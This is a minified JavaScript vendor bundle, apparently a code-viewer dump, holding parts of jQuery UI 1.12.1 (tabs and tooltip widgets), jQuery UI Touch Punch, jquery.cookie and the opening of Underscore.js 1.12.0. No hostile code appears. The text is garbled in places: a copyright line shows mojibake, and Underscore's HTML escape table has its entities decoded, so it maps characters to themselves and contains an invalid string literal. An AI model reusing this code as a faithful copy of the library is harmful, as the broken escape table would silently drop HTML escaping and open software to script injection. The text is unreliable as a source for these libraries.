t=this._findNextTab(t,e),this.tabs.eq(t).trigger("focus"),t},_setOption:function(t,e){return"active"===t?(this._activate(e),void 0):(this._super(t,e),"collapsible"===t&&(this._toggleClass("ui-tabs-collapsible",null,e),e||this.options.active!==!1||this._activate(0)),"event"===t&&this._setupEvents(e),"heightStyle"===t&&this._setupHeightStyle(e),void 0)},_sanitizeSelector:function(t){return t?t.replace(/[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g,"\\$&"):""},refresh:function(){var e=this.options,i=this.tablist.children(":has(a[href])");e.disabled=t.map(i.filter(".ui-state-disabled"),function(t){return i.index(t)}),this._processTabs(),e.active!==!1&&this.anchors.length?this.active.length&&!t.contains(this.tablist[0],this.active[0])?this.tabs.length===e.disabled.length?(e.active=!1,this.active=t()):this._activate(this._findNextTab(Math.max(0,e.active-1),!1)):e.active=this.tabs.index(this.active):(e.active=!1,this.active=t()),this._refresh()},_refresh:function(){this._setOptionDisabled(this.options.disabled),this._setupEvents(this.options.event),this._setupHeightStyle(this.options.heightStyle),this.tabs.not(this.active).attr({"aria-selected":"false","aria-expanded":"false",tabIndex:-1}),this.panels.not(this._getPanelForTab(this.active)).hide().attr({"aria-hidden":"true"}),this.active.length?(this.active.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0}),this._addClass(this.active,"ui-tabs-active","ui-state-active"),this._getPanelForTab(this.active).show().attr({"aria-hidden":"false"})):this.tabs.eq(0).attr("tabIndex",0)},_processTabs:function(){var e=this,i=this.tabs,s=this.anchors,n=this.panels;this.tablist=this._getList().attr("role","tablist"),this._addClass(this.tablist,"ui-tabs-nav","ui-helper-reset ui-helper-clearfix ui-widget-header"),this.tablist.on("mousedown"+this.eventNamespace,"> li",function(e){t(this).is(".ui-state-disabled")&&e.preventDefault()}).on("focus"+this.eventNamespace,".ui-tabs-anchor",function(){t(this).closest("li").is(".ui-state-disabled")&&this.blur()}),this.tabs=this.tablist.find("> li:has(a[href])").attr({role:"tab",tabIndex:-1}),this._addClass(this.tabs,"ui-tabs-tab","ui-state-default"),this.anchors=this.tabs.map(function(){return t("a",this)[0]}).attr({role:"presentation",tabIndex:-1}),this._addClass(this.anchors,"ui-tabs-anchor"),this.panels=t(),this.anchors.each(function(i,s){var n,o,a,r=t(s).uniqueId().attr("id"),h=t(s).closest("li"),l=h.attr("aria-controls");e._isLocal(s)?(n=s.hash,a=n.substring(1),o=e.element.find(e._sanitizeSelector(n))):(a=h.attr("aria-controls")||t({}).uniqueId()[0].id,n="#"+a,o=e.element.find(n),o.length||(o=e._createPanel(a),o.insertAfter(e.panels[i-1]||e.tablist)),o.attr("aria-live","polite")),o.length&&(e.panels=e.panels.add(o)),l&&h.data("ui-tabs-aria-controls",l),h.attr({"aria-controls":a,"aria-labelledby":r}),o.attr("aria-labelledby",r)}),this.panels.attr("role","tabpanel"),this._addClass(this.panels,"ui-tabs-panel","ui-widget-content"),i&&(this._off(i.not(this.tabs)),this._off(s.not(this.anchors)),this._off(n.not(this.panels)))},_getList:function(){return this.tablist||this.element.find("ol, ul").eq(0)},_createPanel:function(e){return t("<div>").attr("id",e).data("ui-tabs-destroy",!0)},_setOptionDisabled:function(e){var i,s,n;for(t.isArray(e)&&(e.length?e.length===this.anchors.length&&(e=!0):e=!1),n=0;s=this.tabs[n];n++)i=t(s),e===!0||-1!==t.inArray(n,e)?(i.attr("aria-disabled","true"),this._addClass(i,null,"ui-state-disabled")):(i.removeAttr("aria-disabled"),this._removeClass(i,null,"ui-state-disabled"));this.options.disabled=e,this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,e===!0)},_setupEvents:function(e){var i={};e&&t.each(e.split(" "),function(t,e){i[e]="_eventHandler"}),this._off(this.anchors.add(this.tabs).add(this.panels)),this._on(!0,this.anchors,{click:function(t){t.preventDefault()}}),this._on(this.anchors,i),this._on(this.tabs,{keydown:"_tabKeydown"}),this._on(this.panels,{keydown:"_panelKeydown"}),this._focusable(this.tabs),this._hoverable(this.tabs)},_setupHeightStyle:function(e){var i,s=this.element.parent();"fill"===e?(i=s.height(),i-=this.element.outerHeight()-this.element.height(),this.element.siblings(":visible").each(function(){var e=t(this),s=e.css("position");"absolute"!==s&&"fixed"!==s&&(i-=e.outerHeight(!0))}),this.element.children().not(this.panels).each(function(){i-=t(this).outerHeight(!0)}),this.panels.each(function(){t(this).height(Math.max(0,i-t(this).innerHeight()+t(this).height()))}).css("overflow","auto")):"auto"===e&&(i=0,this.panels.each(function(){i=Math.max(i,t(this).height("").height())}).height(i))},_eventHandler:function(e){var i=this.options,s=this.active,n=t(e.currentTarget),o=n.closest("li"),a=o[0]===s[0],r=a&&i.collapsible,h=r?t():this._getPanelForTab(o),l=s.length?this._getPanelForTab(s):t(),c={oldTab:s,oldPanel:l,newTab:r?t():o,newPanel:h};e.preventDefault(),o.hasClass("ui-state-disabled")||o.hasClass("ui-tabs-loading")||this.running||a&&!i.collapsible||this._trigger("beforeActivate",e,c)===!1||(i.active=r?!1:this.tabs.index(o),this.active=a?t():o,this.xhr&&this.xhr.abort(),l.length||h.length||t.error("jQuery UI Tabs: Mismatching fragment identifier."),h.length&&this.load(this.tabs.index(o),e),this._toggle(e,c))},_toggle:function(e,i){function s(){o.running=!1,o._trigger("activate",e,i)}function n(){o._addClass(i.newTab.closest("li"),"ui-tabs-active","ui-state-active"),a.length&&o.options.show?o._show(a,o.options.show,s):(a.show(),s())}var o=this,a=i.newPanel,r=i.oldPanel;this.running=!0,r.length&&this.options.hide?this._hide(r,this.options.hide,function(){o._removeClass(i.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),n()}):(this._removeClass(i.oldTab.closest("li"),"ui-tabs-active","ui-state-active"),r.hide(),n()),r.attr("aria-hidden","true"),i.oldTab.attr({"aria-selected":"false","aria-expanded":"false"}),a.length&&r.length?i.oldTab.attr("tabIndex",-1):a.length&&this.tabs.filter(function(){return 0===t(this).attr("tabIndex")}).attr("tabIndex",-1),a.attr("aria-hidden","false"),i.newTab.attr({"aria-selected":"true","aria-expanded":"true",tabIndex:0})},_activate:function(e){var i,s=this._findActive(e);s[0]!==this.active[0]&&(s.length||(s=this.active),i=s.find(".ui-tabs-anchor")[0],this._eventHandler({target:i,currentTarget:i,preventDefault:t.noop}))},_findActive:function(e){return e===!1?t():this.tabs.eq(e)},_getIndex:function(e){return"string"==typeof e&&(e=this.anchors.index(this.anchors.filter("[href$='"+t.ui.escapeSelector(e)+"']"))),e},_destroy:function(){this.xhr&&this.xhr.abort(),this.tablist.removeAttr("role").off(this.eventNamespace),this.anchors.removeAttr("role tabIndex").removeUniqueId(),this.tabs.add(this.panels).each(function(){t.data(this,"ui-tabs-destroy")?t(this).remove():t(this).removeAttr("role tabIndex aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded")}),this.tabs.each(function(){var e=t(this),i=e.data("ui-tabs-aria-controls");i?e.attr("aria-controls",i).removeData("ui-tabs-aria-controls"):e.removeAttr("aria-controls")}),this.panels.show(),"content"!==this.options.heightStyle&&this.panels.css("height","")},enable:function(e){var i=this.options.disabled;i!==!1&&(void 0===e?i=!1:(e=this._getIndex(e),i=t.isArray(i)?t.map(i,function(t){return t!==e?t:null}):t.map(this.tabs,function(t,i){return i!==e?i:null})),this._setOptionDisabled(i))},disable:function(e){var i=this.options.disabled;if(i!==!0){if(void 0===e)i=!0;else{if(e=this._getIndex(e),-1!==t.inArray(e,i))return;i=t.isArray(i)?t.merge([e],i).sort():[e]}this._setOptionDisabled(i)}},load:function(e,i){e=this._getIndex(e);var s=this,n=this.tabs.eq(e),o=n.find(".ui-tabs-anchor"),a=this._getPanelForTab(n),r={tab:n,panel:a},h=function(t,e){"abort"===e&&s.panels.stop(!1,!0),s._removeClass(n,"ui-tabs-loading"),a.removeAttr("aria-busy"),t===s.xhr&&delete s.xhr};this._isLocal(o[0])||(this.xhr=t.ajax(this._ajaxSettings(o,i,r)),this.xhr&&"canceled"!==this.xhr.statusText&&(this._addClass(n,"ui-tabs-loading"),a.attr("aria-busy","true"),this.xhr.done(function(t,e,n){setTimeout(function(){a.html(t),s._trigger("load",i,r),h(n,e)},1)}).fail(function(t,e){setTimeout(function(){h(t,e)},1)})))},_ajaxSettings:function(e,i,s){var n=this;return{url:e.attr("href").replace(/#.*$/,""),beforeSend:function(e,o){return n._trigger("beforeLoad",i,t.extend({jqXHR:e,ajaxSettings:o},s))}}},_getPanelForTab:function(e){var i=t(e).attr("aria-controls");return this.element.find(this._sanitizeSelector("#"+i))}}),t.uiBackCompat!==!1&&t.widget("ui.tabs",t.ui.tabs,{_processTabs:function(){this._superApply(arguments),this._addClass(this.tabs,"ui-tab")}}),t.ui.tabs,t.widget("ui.tooltip",{version:"1.12.1",options:{classes:{"ui-tooltip":"ui-corner-all ui-widget-shadow"},content:function(){var e=t(this).attr("title")||"";return t("<a>").text(e).html()},hide:!0,items:"[title]:not([disabled])",position:{my:"left top+15",at:"left bottom",collision:"flipfit flip"},show:!0,track:!1,close:null,open:null},_addDescribedBy:function(e,i){var s=(e.attr("aria-describedby")||"").split(/\s+/);s.push(i),e.data("ui-tooltip-id",i).attr("aria-describedby",t.trim(s.join(" ")))},_removeDescribedBy:function(e){var i=e.data("ui-tooltip-id"),s=(e.attr("aria-describedby")||"").split(/\s+/),n=t.inArray(i,s);-1!==n&&s.splice(n,1),e.removeData("ui-tooltip-id"),s=t.trim(s.join(" ")),s?e.attr("aria-describedby",s):e.removeAttr("aria-describedby")},_create:function(){this._on({mouseover:"open",focusin:"open"}),this.tooltips={},this.parents={},this.liveRegion=t("<div>").attr({role:"log","aria-live":"assertive","aria-relevant":"additions"}).appendTo(this.document[0].body),this._addClass(this.liveRegion,null,"ui-helper-hidden-accessible"),this.disabledTitles=t([])},_setOption:function(e,i){var s=this;this._super(e,i),"content"===e&&t.each(this.tooltips,function(t,e){s._updateContent(e.element)})},_setOptionDisabled:function(t){this[t?"_disable":"_enable"]()},_disable:function(){var e=this;t.each(this.tooltips,function(i,s){var n=t.Event("blur");n.target=n.currentTarget=s.element[0],e.close(n,!0)}),this.disabledTitles=this.disabledTitles.add(this.element.find(this.options.items).addBack().filter(function(){var e=t(this);return e.is("[title]")?e.data("ui-tooltip-title",e.attr("title")).removeAttr("title"):void 0}))},_enable:function(){this.disabledTitles.each(function(){var e=t(this);e.data("ui-tooltip-title")&&e.attr("title",e.data("ui-tooltip-title"))}),this.disabledTitles=t([])},open:function(e){var i=this,s=t(e?e.target:this.element).closest(this.options.items);s.length&&!s.data("ui-tooltip-id")&&(s.attr("title")&&s.data("ui-tooltip-title",s.attr("title")),s.data("ui-tooltip-open",!0),e&&"mouseover"===e.type&&s.parents().each(function(){var e,s=t(this);s.data("ui-tooltip-open")&&(e=t.Event("blur"),e.target=e.currentTarget=this,i.close(e,!0)),s.attr("title")&&(s.uniqueId(),i.parents[this.id]={element:this,title:s.attr("title")},s.attr("title",""))}),this._registerCloseHandlers(e,s),this._updateContent(s,e))},_updateContent:function(t,e){var i,s=this.options.content,n=this,o=e?e.type:null;return"string"==typeof s||s.nodeType||s.jquery?this._open(e,t,s):(i=s.call(t[0],function(i){n._delay(function(){t.data("ui-tooltip-open")&&(e&&(e.type=o),this._open(e,t,i))})}),i&&this._open(e,t,i),void 0)},_open:function(e,i,s){function n(t){l.of=t,a.is(":hidden")||a.position(l)}var o,a,r,h,l=t.extend({},this.options.position);if(s){if(o=this._find(i))return o.tooltip.find(".ui-tooltip-content").html(s),void 0;i.is("[title]")&&(e&&"mouseover"===e.type?i.attr("title",""):i.removeAttr("title")),o=this._tooltip(i),a=o.tooltip,this._addDescribedBy(i,a.attr("id")),a.find(".ui-tooltip-content").html(s),this.liveRegion.children().hide(),h=t("<div>").html(a.find(".ui-tooltip-content").html()),h.removeAttr("name").find("[name]").removeAttr("name"),h.removeAttr("id").find("[id]").removeAttr("id"),h.appendTo(this.liveRegion),this.options.track&&e&&/^mouse/.test(e.type)?(this._on(this.document,{mousemove:n}),n(e)):a.position(t.extend({of:i},this.options.position)),a.hide(),this._show(a,this.options.show),this.options.track&&this.options.show&&this.options.show.delay&&(r=this.delayedShow=setInterval(function(){a.is(":visible")&&(n(l.of),clearInterval(r))},t.fx.interval)),this._trigger("open",e,{tooltip:a})}},_registerCloseHandlers:function(e,i){var s={keyup:function(e){if(e.keyCode===t.ui.keyCode.ESCAPE){var s=t.Event(e);s.currentTarget=i[0],this.close(s,!0)}}};i[0]!==this.element[0]&&(s.remove=function(){this._removeTooltip(this._find(i).tooltip)}),e&&"mouseover"!==e.type||(s.mouseleave="close"),e&&"focusin"!==e.type||(s.focusout="close"),this._on(!0,i,s)},close:function(e){var i,s=this,n=t(e?e.currentTarget:this.element),o=this._find(n);return o?(i=o.tooltip,o.closing||(clearInterval(this.delayedShow),n.data("ui-tooltip-title")&&!n.attr("title")&&n.attr("title",n.data("ui-tooltip-title")),this._removeDescribedBy(n),o.hiding=!0,i.stop(!0),this._hide(i,this.options.hide,function(){s._removeTooltip(t(this))}),n.removeData("ui-tooltip-open"),this._off(n,"mouseleave focusout keyup"),n[0]!==this.element[0]&&this._off(n,"remove"),this._off(this.document,"mousemove"),e&&"mouseleave"===e.type&&t.each(this.parents,function(e,i){t(i.element).attr("title",i.title),delete s.parents[e]}),o.closing=!0,this._trigger("close",e,{tooltip:i}),o.hiding||(o.closing=!1)),void 0):(n.removeData("ui-tooltip-open"),void 0)},_tooltip:function(e){var i=t("<div>").attr("role","tooltip"),s=t("<div>").appendTo(i),n=i.uniqueId().attr("id");return this._addClass(s,"ui-tooltip-content"),this._addClass(i,"ui-tooltip","ui-widget ui-widget-content"),i.appendTo(this._appendTo(e)),this.tooltips[n]={element:e,tooltip:i}},_find:function(t){var e=t.data("ui-tooltip-id");return e?this.tooltips[e]:null},_removeTooltip:function(t){t.remove(),delete this.tooltips[t.attr("id")]},_appendTo:function(t){var e=t.closest(".ui-front, dialog");return e.length||(e=this.document[0].body),e},_destroy:function(){var e=this;t.each(this.tooltips,function(i,s){var n=t.Event("blur"),o=s.element;n.target=n.currentTarget=o[0],e.close(n,!0),t("#"+i).remove(),o.data("ui-tooltip-title")&&(o.attr("title")||o.attr("title",o.data("ui-tooltip-title")),o.removeData("ui-tooltip-title"))}),this.liveRegion.remove()}}),t.uiBackCompat!==!1&&t.widget("ui.tooltip",t.ui.tooltip,{options:{tooltipClass:null},_tooltip:function(){var t=this._superApply(arguments);return this.options.tooltipClass&&t.tooltip.addClass(this.options.tooltipClass),t}}),t.ui.tooltip});
21; 22/* AUTOGENERATED: jquery.ui.touch-punch.min.js */ 23/*! 24 * jQuery UI Touch Punch 0.2.3 25 * 26 * Copyright 2011â2014, Dave Furfero 27 * Dual licensed under the MIT or GPL Version 2 licenses. 28 * 29 * Depends: 30 * jquery.ui.widget.js 31 * jquery.ui.mouse.js 32 */ 33!function(a){function f(a,b){if(!(a.originalEvent.touches.length>1)){a.preventDefault();var c=a.originalEvent.changedTouches[0],d=document.createEvent("MouseEvents");d.initMouseEvent(b,!0,!0,window,1,c.screenX,c.screenY,c.clientX,c.clientY,!1,!1,!1,!1,0,null),a.target.dispatchEvent(d)}}if(a.support.touch="ontouchend"in document,a.support.touch){var e,b=a.ui.mouse.prototype,c=b._mouseInit,d=b._mouseDestroy;b._touchStart=function(a){var b=this;!e&&b._mouseCapture(a.originalEvent.changedTouches[0])&&(e=!0,b._touchMoved=!1,f(a,"mouseover"),f(a,"mousemove"),f(a,"mousedown"))},b._touchMove=function(a){e&&(this._touchMoved=!0,f(a,"mousemove"))},b._touchEnd=function(a){e&&(f(a,"mouseup"),f(a,"mouseout"),this._touchMoved||f(a,"click"),e=!1)},b._mouseInit=function(){var b=this;b.element.bind({touchstart:a.proxy(b,"_touchStart"),touchmove:a.proxy(b,"_touchMove"),touchend:a.proxy(b,"_touchEnd")}),c.call(b)},b._mouseDestroy=function(){var b=this;b.element.unbind({touchstart:a.proxy(b,"_touchStart"),touchmove:a.proxy(b,"_touchMove"),touchend:a.proxy(b,"_touchEnd")}),d.call(b)}}}(jQuery);; 34/* AUTOGENERATED: jquery.cookie.min.js */ 35(function(factory){if(typeof define==='function'&&define.amd){define(['jquery'],factory)}else if(typeof exports==='object'){factory(require('jquery'))}else factory(jQuery)}(function($){var pluses=/\+/g 36function encode(s){return config.raw?s:encodeURIComponent(s)} 37function decode(s){return config.raw?s:decodeURIComponent(s)} 38function stringifyCookieValue(value){return encode(config.json?JSON.stringify(value):String(value))} 39function parseCookieValue(s){if(s.indexOf('"')===0)s=s.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,'\\');try{s=decodeURIComponent(s.replace(pluses,' '));return config.json?JSON.parse(s):s}catch(e){}} 40function read(s,converter){var value=config.raw?s:parseCookieValue(s);return $.isFunction(converter)?converter(value):value};var config=$.cookie=function(key,value,options){if(arguments.length>1&&!$.isFunction(value)){options=$.extend({},config.defaults,options);if(typeof options.expires==='number'){var days=options.expires,t=options.expires=new Date();t.setTime(+t+days*864e+5)};return(document.cookie=[encode(key),'=',stringifyCookieValue(value),options.expires?'; expires='+options.expires.toUTCString():'',options.path?'; path='+options.path:'',options.domain?'; domain='+options.domain:'',options.secure?'; secure':''].join(''))};var result=key?undefined:{},cookies=document.cookie?document.cookie.split('; '):[];for(var i=0,l=cookies.length;i<l;i++){var parts=cookies[i].split('='),name=decode(parts.shift()),cookie=parts.join('=');if(key&&key===name){result=read(cookie,value);break};if(!key&&(cookie=read(cookie))!==undefined)result[name]=cookie};return result};config.defaults={};
vendor: 5,374 bytes, lines 40-47
40$.removeCookie=function(key,options){if($.cookie(key)===undefined)return false;$.cookie(key,'',$.extend({},options,{expires:-1}));return!$.cookie(key)}}));; 41/* AUTOGENERATED: underscore-min.js */ 42!function(n,r){"object"==typeof exports&&"undefined"!=typeof module?module.exports=r():"function"==typeof define&&define.amd?define("underscore",r):(n=n||self,function(){var t=n._,e=n._=r();e.noConflict=function(){return n._=t,e}}())}(this,(function(){ 43// Underscore.js 1.12.0 44// https://underscorejs.org 45// (c) 2009-2020 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors 46// Underscore may be freely distributed under the MIT license. 47 var n="1.12.0",r="object"==typeof self&&self.self===self&&self||"object"==typeof global&&global.global===global&&global||Function("return this")()||{},t=Array.prototype,e=Object.prototype,u="undefined"!=typeof Symbol?Symbol.prototype:null,o=t.push,i=t.slice,a=e.toString,f=e.hasOwnProperty,c="undefined"!=typeof ArrayBuffer,l="undefined"!=typeof DataView,s=Array.isArray,p=Object.keys,v=Object.create,h=c&&ArrayBuffer.isView,y=isNaN,g=isFinite,d=!{toString:null}.propertyIsEnumerable("toString"),b=["valueOf","isPrototypeOf","toString","propertyIsEnumerable","hasOwnProperty","toLocaleString"],m=Math.pow(2,53)-1;function j(n,r){return r=null==r?n.length-1:+r,function(){for(var t=Math.max(arguments.length-r,0),e=Array(t),u=0;u<t;u++)e[u]=arguments[u+r];switch(r){case 0:return n.call(this,e);case 1:return n.call(this,arguments[0],e);case 2:return n.call(this,arguments[0],arguments[1],e)}var o=Array(r+1);for(u=0;u<r;u++)o[u]=arguments[u];return o[r]=e,n.apply(this,o)}}function _(n){var r=typeof n;return"function"===r||"object"===r&&!!n}function w(n){return void 0===n}function A(n){return!0===n||!1===n||"[object Boolean]"===a.call(n)}function x(n){var r="[object "+n+"]";return function(n){return a.call(n)===r}}var S=x("String"),O=x("Number"),M=x("Date"),E=x("RegExp"),B=x("Error"),N=x("Symbol"),I=x("ArrayBuffer"),k=x("Function"),T=r.document&&r.document.childNodes;"function"!=typeof/./&&"object"!=typeof Int8Array&&"function"!=typeof T&&(k=function(n){return"function"==typeof n||!1});var D=k,R=x("Object"),F=l&&R(new DataView(new ArrayBuffer(8))),V="undefined"!=typeof Map&&R(new Map),P=x("DataView");var q=F?function(n){return null!=n&&D(n.getInt8)&&I(n.buffer)}:P,U=s||x("Array");function W(n,r){return null!=n&&f.call(n,r)}var z=x("Arguments");!function(){z(arguments)||(z=function(n){return W(n,"callee")})}();var L=z;function C(n){return O(n)&&y(n)}function K(n){return function(){return n}}function J(n){return function(r){var t=n(r);return"number"==typeof t&&t>=0&&t<=m}}function $(n){return function(r){return null==r?void 0:r[n]}}var G=$("byteLength"),H=J(G),Q=/\[object ((I|Ui)nt(8|16|32)|Float(32|64)|Uint8Clamped|Big(I|Ui)nt64)Array\]/;var X=c?function(n){return h?h(n)&&!q(n):H(n)&&Q.test(a.call(n))}:K(!1),Y=$("length");function Z(n,r){r=function(n){for(var r={},t=n.length,e=0;e<t;++e)r[n[e]]=!0;return{contains:function(n){return r[n]},push:function(t){return r[t]=!0,n.push(t)}}}(r);var t=b.length,u=n.constructor,o=D(u)&&u.prototype||e,i="constructor";for(W(n,i)&&!r.contains(i)&&r.push(i);t--;)(i=b[t])in n&&n[i]!==o[i]&&!r.contains(i)&&r.push(i)}function nn(n){if(!_(n))return[];if(p)return p(n);var r=[];for(var t in n)W(n,t)&&r.push(t);return d&&Z(n,r),r}function rn(n,r){var t=nn(r),e=t.length;if(null==n)return!e;for(var u=Object(n),o=0;o<e;o++){var i=t[o];if(r[i]!==u[i]||!(i in u))return!1}return!0}function tn(n){return n instanceof tn?n:this instanceof tn?void(this._wrapped=n):new tn(n)}function en(n){return new Uint8Array(n.buffer||n,n.byteOffset||0,G(n))}tn.VERSION=n,tn.prototype.value=function(){return this._wrapped},tn.prototype.valueOf=tn.prototype.toJSON=tn.prototype.value,tn.prototype.toString=function(){return String(this._wrapped)};var un="[object DataView]";function on(n,r,t,e){if(n===r)return 0!==n||1/n==1/r;if(null==n||null==r)return!1;if(n!=n)return r!=r;var o=typeof n;return("function"===o||"object"===o||"object"==typeof r)&&function n(r,t,e,o){r instanceof tn&&(r=r._wrapped);t instanceof tn&&(t=t._wrapped);var i=a.call(r);if(i!==a.call(t))return!1;if(F&&"[object Object]"==i&&q(r)){if(!q(t))return!1;i=un}switch(i){case"[object RegExp]":case"[object String]":return""+r==""+t;case"[object Number]":return+r!=+r?+t!=+t:0==+r?1/+r==1/t:+r==+t;case"[object Date]":case"[object Boolean]":return+r==+t;case"[object Symbol]":return u.valueOf.call(r)===u.valueOf.call(t);case"[object ArrayBuffer]":case un:return n(en(r),en(t),e,o)}var f="[object Array]"===i;if(!f&&X(r)){if(G(r)!==G(t))return!1;if(r.buffer===t.buffer&&r.byteOffset===t.byteOffset)return!0;f=!0}if(!f){if("object"!=typeof r||"object"!=typeof t)return!1;var c=r.constructor,l=t.constructor;if(c!==l&&!(D(c)&&c instanceof c&&D(l)&&l instanceof l)&&"constructor"in r&&"constructor"in t)return!1}o=o||[];var s=(e=e||[]).length;for(;s--;)if(e[s]===r)return o[s]===t;if(e.push(r),o.push(t),f){if((s=r.length)!==t.length)return!1;for(;s--;)if(!on(r[s],t[s],e,o))return!1}else{var p,v=nn(r);if(s=v.length,nn(t).length!==s)return!1;for(;s--;)if(p=v[s],!W(t,p)||!on(r[p],t[p],e,o))return!1}return e.pop(),o.pop(),!0}(n,r,t,e)}function an(n){if(!_(n))return[];var r=[];for(var t in n)r.push(t);return d&&Z(n,r),r}function fn(n){var r=Y(n);return function(t){if(null==t)return!1;var e=an(t);
vendor: 5,278 bytes, line 47
47if(Y(e))return!1;for(var u=0;u<r;u++)if(!D(t[n[u]]))return!1;return n!==hn||!D(t[cn])}}var cn="forEach",ln="has",sn=["clear","delete"],pn=["get",ln,"set"],vn=sn.concat(cn,pn),hn=sn.concat(pn),yn=["add"].concat(sn,cn,ln),gn=V?fn(vn):x("Map"),dn=V?fn(hn):x("WeakMap"),bn=V?fn(yn):x("Set"),mn=x("WeakSet");function jn(n){for(var r=nn(n),t=r.length,e=Array(t),u=0;u<t;u++)e[u]=n[r[u]];return e}function _n(n){for(var r={},t=nn(n),e=0,u=t.length;e<u;e++)r[n[t[e]]]=t[e];return r}function wn(n){var r=[];for(var t in n)D(n[t])&&r.push(t);return r.sort()}function An(n,r){return function(t){var e=arguments.length;if(r&&(t=Object(t)),e<2||null==t)return t;for(var u=1;u<e;u++)for(var o=arguments[u],i=n(o),a=i.length,f=0;f<a;f++){var c=i[f];r&&void 0!==t[c]||(t[c]=o[c])}return t}}var xn=An(an),Sn=An(nn),On=An(an,!0);function Mn(n){if(!_(n))return{};if(v)return v(n);var r=function(){};r.prototype=n;var t=new r;return r.prototype=null,t}function En(n){return _(n)?U(n)?n.slice():xn({},n):n}function Bn(n){return U(n)?n:[n]}function Nn(n){return tn.toPath(n)}function In(n,r){for(var t=r.length,e=0;e<t;e++){if(null==n)return;n=n[r[e]]}return t?n:void 0}function kn(n,r,t){var e=In(n,Nn(r));return w(e)?t:e}function Tn(n){return n}function Dn(n){return n=Sn({},n),function(r){return rn(r,n)}}function Rn(n){return n=Nn(n),function(r){return In(r,n)}}function Fn(n,r,t){if(void 0===r)return n;switch(null==t?3:t){case 1:return function(t){return n.call(r,t)};case 3:return function(t,e,u){return n.call(r,t,e,u)};case 4:return function(t,e,u,o){return n.call(r,t,e,u,o)}}return function(){return n.apply(r,arguments)}}function Vn(n,r,t){return null==n?Tn:D(n)?Fn(n,r,t):_(n)&&!U(n)?Dn(n):Rn(n)}function Pn(n,r){return Vn(n,r,1/0)}function qn(n,r,t){return tn.iteratee!==Pn?tn.iteratee(n,r):Vn(n,r,t)}function Un(){}function Wn(n,r){return null==r&&(r=n,n=0),n+Math.floor(Math.random()*(r-n+1))}tn.toPath=Bn,tn.iteratee=Pn;var zn=Date.now||function(){return(new Date).getTime()};function Ln(n){var r=function(r){return n[r]},t="(?:"+nn(n).join("|")+")",e=RegExp(t),u=RegExp(t,"g");return function(n){return n=null==n?"":""+n,e.test(n)?n.replace(u,r):n}}var Cn={"&":"&","<":"<",">":">",'"':""","'":"'","`":"`"},Kn=Ln(Cn),Jn=Ln(_n(Cn)),$n=tn.templateSettings={evaluate:/<%([\s\S]+?)%>/g,interpolate:/<%=([\s\S]+?)%>/g,escape:/<%-([\s\S]+?)%>/g},Gn=/(.)^/,Hn={"'":"'","\\":"\\","\r":"r","\n":"n","\u2028":"u2028","\u2029":"u2029"},Qn=/\\|'|\r|\n|\u2028|\u2029/g;function Xn(n){return"\\"+Hn[n]}var Yn=0;function Zn(n,r,t,e,u){if(!(e instanceof r))return n.apply(t,u);var o=Mn(n.prototype),i=n.apply(o,u);return _(i)?i:o}var nr=j((function(n,r){var t=nr.placeholder,e=function(){for(var u=0,o=r.length,i=Array(o),a=0;a<o;a++)i[a]=r[a]===t?arguments[u++]:r[a];for(;u<arguments.length;)i.push(arguments[u++]);return Zn(n,e,this,this,i)};return e}));nr.placeholder=tn;var rr=j((function(n,r,t){if(!D(n))throw new TypeError("Bind must be called on a function");var e=j((function(u){return Zn(n,e,r,this,t.concat(u))}));return e})),tr=J(Y);function er(n,r,t,e){if(e=e||[],r||0===r){if(r<=0)return e.concat(n)}else r=1/0;for(var u=e.length,o=0,i=Y(n);o<i;o++){var a=n[o];if(tr(a)&&(U(a)||L(a)))if(r>1)er(a,r-1,t,e),u=e.length;else for(var f=0,c=a.length;f<c;)e[u++]=a[f++];else t||(e[u++]=a)}return e}var ur=j((function(n,r){var t=(r=er(r,!1,!1)).length;if(t<1)throw new Error("bindAll must be passed function names");for(;t--;){var e=r[t];n[e]=rr(n[e],n)}return n}));var or=j((function(n,r,t){return setTimeout((function(){return n.apply(null,t)}),r)})),ir=nr(or,tn,1);function ar(n){return function(){return!n.apply(this,arguments)}}function fr(n,r){var t;return function(){return--n>0&&(t=r.apply(this,arguments)),n<=1&&(r=null),t}}var cr=nr(fr,2);function lr(n,r,t){r=qn(r,t);for(var e,u=nn(n),o=0,i=u.length;o<i;o++)if(r(n[e=u[o]],e,n))return e}function sr(n){return function(r,t,e){t=qn(t,e);for(var u=Y(r),o=n>0?0:u-1;o>=0&&o<u;o+=n)if(t(r[o],o,r))return o;return-1}}var pr=sr(1),vr=sr(-1);function hr(n,r,t,e){for(var u=(t=qn(t,e,1))(r),o=0,i=Y(n);o<i;){var a=Math.floor((o+i)/2);t(n[a])<u?o=a+1:i=a}return o}function yr(n,r,t){return function(e,u,o){var a=0,f=Y(e);if("number"==typeof o)n>0?a=o>=0?o:Math.max(o+f,a):f=o>=0?Math.min(o+1,f):o+f+1;else if(t&&o&&f)return e[o=t(e,u)]===u?o:-1;if(u!=u)return(o=r(i.call(e,a,f),C))>=0?o+a:-1;for(o=n>0?a:f-1;o>=0&&o<f;o+=n)if(e[o]===u)return o;return-1}}var gr=yr(1,pr,hr),dr=yr(-1,vr);function br(n,r,t){var e=(tr(n)?pr:lr)(n,r,t);if(void 0!==e&&-1!==e)return n[e]}function mr(n,r,t){var e,u;if(r=Fn(r,t),tr(n))for(e=0,u=n.length;e<u;e++)r(n[e],e,n);else{var o=nn(n);for(e=0,u=o.length;e<u;e++)r(n[o[e]],o[e],n)}return n}function jr(n,r,t){r=qn(r,t);for(var e=!tr(n)&&nn(n),u=(e||n).length,o=Array(u),i=0;i<u;i++){var a=e?e[i]:i;o[i]=r(n[a],a,n)}return o}function _r(n){var r=function(r,t,e,u){var o=!tr(r)&&nn(r),i=(o||r).length,a=n>0?0:i-1;for(u||(e=r[o?o[a]:a],a+=n);a>=0&&a<i;a+=n){var f=o?o[a]:a;e=t(e,r[f],f,r)}return e};return function(n,t,e,u){var o=arguments.length>=3;return r(n,Fn(t,u,4),e,o)}}var wr=_r(1),Ar=_r(-1);function xr(n,r,t){var e=[];return r=qn(r,t),mr(n,(function(n,t,u){r(n,t,u)&&e.push(n)})),e}function Sr(n,r,t){r=qn(r,t);for(var e=!tr(n)&&nn(n),u=(e||n).length,o=0;o<u;o++){var i=e?e[o]:o;
vendor: 6,727 bytes, line 47
